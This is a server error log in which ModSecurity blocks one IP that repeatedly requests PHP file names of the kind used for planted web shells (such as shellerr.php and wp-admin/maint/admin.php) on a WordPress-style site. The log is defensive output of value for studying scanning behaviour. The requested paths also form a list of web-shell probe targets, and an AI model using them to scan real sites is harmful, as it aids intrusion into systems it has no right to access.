[Wed Apr 01 18:28:18.086490 2026] [:error] [pid 62559:tid 62565] [client 20.203.215.185:47874] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws78.php"] [unique_id "aczzQi7NKI8IaNKZFIdlsgAAAUQ"]
[Wed Apr 01 18:29:00.258905 2026] [:error] [pid 8909:tid 8957] [client 20.203.215.185:3902] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/save.php"] [unique_id "aczzbDvP_a0662gDl6A9YwAAANA"]
[Wed Apr 01 18:29:03.579019 2026] [:error] [pid 8909:tid 8948] [client 20.203.215.185:62455] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/save.php"] [unique_id "aczzbzvP_a0662gDl6A9dwAAAMc"]
[Wed Apr 01 18:29:04.875722 2026] [:error] [pid 8995:tid 9002] [client 20.203.215.185:57136] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/save.php"] [unique_id "aczzcOonaBjs3qxcReeYegAAAAQ"]
[Wed Apr 01 18:29:09.021764 2026] [:error] [pid 8909:tid 8964] [client 20.203.215.185:38227] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/save.php"] [unique_id "aczzdTvP_a0662gDl6A9jgAAANc"]
[Wed Apr 01 18:29:09.929336 2026] [:error] [pid 17856:tid 17868] [client 20.203.215.185:42949] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtiiy.php"] [unique_id "aczzdT7Idlm5j9frhqTNdwAAAEo"]
[Wed Apr 01 18:29:10.977615 2026] [:error] [pid 8909:tid 8959] [client 20.203.215.185:63086] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtiiy.php"] [unique_id "aczzdjvP_a0662gDl6A9mAAAANI"]
[Wed Apr 01 18:29:11.605400 2026] [:error] [pid 8909:tid 8956] [client 20.203.215.185:47613] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtiiy.php"] [unique_id "aczzdzvP_a0662gDl6A9nwAAAM8"]
[Wed Apr 01 18:29:12.500091 2026] [:error] [pid 17856:tid 17882] [client 20.203.215.185:47566] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtiiy.php"] [unique_id "aczzeD7Idlm5j9frhqTNggAAAFg"]
[Wed Apr 01 18:29:13.126619 2026] [:error] [pid 8909:tid 8948] [client 20.203.215.185:63089] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xs.php"] [unique_id "aczzeTvP_a0662gDl6A9qAAAAMc"]
[Wed Apr 01 18:29:13.952870 2026] [:error] [pid 62559:tid 62561] [client 20.203.215.185:56797] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xs.php"] [unique_id "aczzeS7NKI8IaNKZFIdmFwAAAUA"]
[Wed Apr 01 18:29:14.913972 2026] [:error] [pid 8908:tid 8916] [client 20.203.215.185:47565] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xs.php"] [unique_id "aczzevkmxtJXGnLdvgBAYAAAAIM"]
[Wed Apr 01 18:30:04.934907 2026] [:error] [pid 8909:tid 8949] [client 20.203.215.185:38241] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shellerr.php"] [unique_id "aczzrDvP_a0662gDl6A_AwAAAMg"]
[Wed Apr 01 18:30:07.409340 2026] [:error] [pid 8908:tid 8925] [client 20.203.215.185:40910] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shellerr.php"] [unique_id "aczzr_kmxtJXGnLdvgBA2gAAAIw"]
[Wed Apr 01 18:30:08.995939 2026] [:error] [pid 8909:tid 8964] [client 20.203.215.185:42420] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shellerr.php"] [unique_id "aczzsDvP_a0662gDl6A_JgAAANc"]
[Wed Apr 01 18:30:10.160787 2026] [:error] [pid 8910:tid 8981] [client 20.203.215.185:42652] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shellerr.php"] [unique_id "aczzsqJZINUcF3tYgEw5QgAAAQ0"]
[Wed Apr 01 18:30:10.839520 2026] [:error] [pid 8909:tid 8960] [client 20.203.215.185:47215] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-scanner.php"] [unique_id "aczzsjvP_a0662gDl6A_NAAAANM"]
[Wed Apr 01 18:30:12.425251 2026] [:error] [pid 8910:tid 8989] [client 20.203.215.185:53317] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-scanner.php"] [unique_id "aczztKJZINUcF3tYgEw5RwAAARU"]
[Wed Apr 01 18:30:14.668570 2026] [:error] [pid 8908:tid 8913] [client 20.203.215.185:44149] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-scanner.php"] [unique_id "aczztvkmxtJXGnLdvgBA6AAAAIA"]
[Wed Apr 01 18:30:15.684849 2026] [:error] [pid 8909:tid 8941] [client 20.203.215.185:41659] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-scanner.php"] [unique_id "aczztzvP_a0662gDl6A_QwAAAMA"]
[Wed Apr 01 18:30:17.202085 2026] [:error] [pid 8909:tid 8951] [client 20.203.215.185:47491] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aczzuTvP_a0662gDl6A_TgAAAMo"]
[Wed Apr 01 18:30:18.187550 2026] [:error] [pid 8909:tid 8959] [client 20.203.215.185:37045] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aczzujvP_a0662gDl6A_VAAAANI"]
[Wed Apr 01 18:30:19.656606 2026] [:error] [pid 8909:tid 8946] [client 20.203.215.185:41141] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aczzuzvP_a0662gDl6A_XQAAAMU"]
[Wed Apr 01 18:30:21.841335 2026] [:error] [pid 8909:tid 8951] [client 20.203.215.185:44119] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aczzvTvP_a0662gDl6A_ZgAAAMo"]
[Wed Apr 01 18:30:22.894117 2026] [:error] [pid 8909:tid 8954] [client 20.203.215.185:47223] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/to.php"] [unique_id "aczzvjvP_a0662gDl6A_bAAAAM0"]
[Wed Apr 01 18:30:26.260205 2026] [:error] [pid 17856:tid 17875] [client 20.203.215.185:41123] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/to.php"] [unique_id "aczzwj7Idlm5j9frhqTOAQAAAFE"]
[Wed Apr 01 18:30:27.170508 2026] [:error] [pid 62559:tid 62569] [client 20.203.215.185:42630] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/to.php"] [unique_id "aczzwy7NKI8IaNKZFIdmcgAAAUg"]
[Wed Apr 01 18:30:28.547142 2026] [:error] [pid 8995:tid 9003] [client 20.203.215.185:47177] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/to.php"] [unique_id "aczzxOonaBjs3qxcReeYwgAAAAU"]
[Wed Apr 01 18:30:30.684107 2026] [:error] [pid 8908:tid 8937] [client 20.203.215.185:47214] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp9.php"] [unique_id "aczzxvkmxtJXGnLdvgBBAwAAAJg"]
[Wed Apr 01 18:30:31.369973 2026] [:error] [pid 62559:tid 62573] [client 20.203.215.185:46456] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp9.php"] [unique_id "aczzxy7NKI8IaNKZFIdmfgAAAUw"]
[Wed Apr 01 18:30:39.266481 2026] [:error] [pid 8909:tid 8941] [client 20.203.215.185:46430] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp9.php"] [unique_id "aczzzzvP_a0662gDl6A_hAAAAMA"]
[Wed Apr 01 18:30:44.628060 2026] [:error] [pid 8995:tid 9016] [client 20.203.215.185:47903] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ant.php"] [unique_id "aczz1OonaBjs3qxcReeY3gAAABI"]
[Wed Apr 01 18:30:47.145443 2026] [:error] [pid 8909:tid 8956] [client 20.203.215.185:44135] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ant.php"] [unique_id "aczz1zvP_a0662gDl6A_qAAAAM8"]
[Wed Apr 01 18:30:49.480764 2026] [:error] [pid 8909:tid 8948] [client 20.203.215.185:50252] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ant.php"] [unique_id "aczz2TvP_a0662gDl6A_twAAAMc"]
[Wed Apr 01 18:30:50.370282 2026] [:error] [pid 8909:tid 8953] [client 20.203.215.185:62340] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ant.php"] [unique_id "aczz2jvP_a0662gDl6A_vAAAAMw"]
[Wed Apr 01 18:30:53.279653 2026] [:error] [pid 17856:tid 17865] [client 20.203.215.185:36372] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws86.php"] [unique_id "aczz3T7Idlm5j9frhqTOMwAAAEc"]
[Wed Apr 01 18:30:56.082830 2026] [:error] [pid 8995:tid 9001] [client 20.203.215.185:50248] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws86.php"] [unique_id "aczz4OonaBjs3qxcReeY8AAAAAM"]
[Wed Apr 01 18:30:57.745362 2026] [:error] [pid 8908:tid 8919] [client 20.203.215.185:49140] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws86.php"] [unique_id "aczz4fkmxtJXGnLdvgBBRgAAAIY"]
[Wed Apr 01 18:30:58.765511 2026] [:error] [pid 8908:tid 8925] [client 20.203.215.185:44136] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws86.php"] [unique_id "aczz4vkmxtJXGnLdvgBBTAAAAIw"]
[Wed Apr 01 18:32:04.410393 2026] [:error] [pid 8909:tid 8945] [client 20.203.215.185:4055] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b.php"] [unique_id "acz0JDvP_a0662gDl6BA1QAAAMQ"]
[Wed Apr 01 18:32:06.144358 2026] [:error] [pid 8995:tid 9022] [client 20.203.215.185:3602] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b.php"] [unique_id "acz0JuonaBjs3qxcReeZhAAAABg"]
[Wed Apr 01 18:32:07.289636 2026] [:error] [pid 17856:tid 17876] [client 20.203.215.185:37704] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b.php"] [unique_id "acz0Jz7Idlm5j9frhqTPFQAAAFI"]
[Wed Apr 01 18:32:08.288217 2026] [:error] [pid 17856:tid 17864] [client 20.203.215.185:39320] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b.php"] [unique_id "acz0KD7Idlm5j9frhqTPGwAAAEY"]
[Wed Apr 01 18:32:09.747843 2026] [:error] [pid 17856:tid 17863] [client 20.203.215.185:39145] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vaza.php"] [unique_id "acz0KT7Idlm5j9frhqTPJwAAAEU"]
[Wed Apr 01 18:32:10.571853 2026] [:error] [pid 62559:tid 62561] [client 20.203.215.185:62053] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vaza.php"] [unique_id "acz0Ki7NKI8IaNKZFIdnQgAAAUA"]
[Wed Apr 01 18:32:11.531851 2026] [:error] [pid 62559:tid 62569] [client 20.203.215.185:55226] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vaza.php"] [unique_id "acz0Ky7NKI8IaNKZFIdnRwAAAUg"]
[Wed Apr 01 18:32:12.894909 2026] [:error] [pid 8909:tid 8958] [client 20.203.215.185:41894] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vaza.php"] [unique_id "acz0LDvP_a0662gDl6BA4QAAANE"]
[Wed Apr 01 18:32:13.807589 2026] [:error] [pid 62559:tid 62578] [client 20.203.215.185:3617] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bnm.php"] [unique_id "acz0LS7NKI8IaNKZFIdnUQAAAVE"]
[Wed Apr 01 18:32:14.708419 2026] [:error] [pid 62559:tid 62573] [client 20.203.215.185:43676] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bnm.php"] [unique_id "acz0Li7NKI8IaNKZFIdnVwAAAUw"]
[Wed Apr 01 18:32:15.559641 2026] [:error] [pid 62559:tid 62566] [client 20.203.215.185:43693] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bnm.php"] [unique_id "acz0Ly7NKI8IaNKZFIdnWgAAAUU"]
[Wed Apr 01 18:32:16.707536 2026] [:error] [pid 17856:tid 17880] [client 20.203.215.185:52175] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bnm.php"] [unique_id "acz0MD7Idlm5j9frhqTPNAAAAFY"]
[Wed Apr 01 18:32:17.779176 2026] [:error] [pid 8910:tid 8968] [client 20.203.215.185:3795] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "acz0MaJZINUcF3tYgEw56wAAAQA"]
[Wed Apr 01 18:32:18.519555 2026] [:error] [pid 62559:tid 62583] [client 20.203.215.185:52207] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "acz0Mi7NKI8IaNKZFIdnXwAAAVY"]
[Wed Apr 01 18:32:19.286187 2026] [:error] [pid 17856:tid 17869] [client 20.203.215.185:3795] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "acz0Mz7Idlm5j9frhqTPOwAAAEs"]
[Wed Apr 01 18:32:20.324552 2026] [:error] [pid 8908:tid 8917] [client 20.203.215.185:50204] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "acz0NPkmxtJXGnLdvgBB0wAAAIQ"]
[Wed Apr 01 18:32:21.440143 2026] [:error] [pid 62559:tid 62564] [client 20.203.215.185:43696] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xc0252.php"] [unique_id "acz0NS7NKI8IaNKZFIdnbQAAAUM"]
[Wed Apr 01 18:32:22.579794 2026] [:error] [pid 8995:tid 9012] [client 20.203.215.185:60847] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xc0252.php"] [unique_id "acz0NuonaBjs3qxcReeZngAAAA4"]
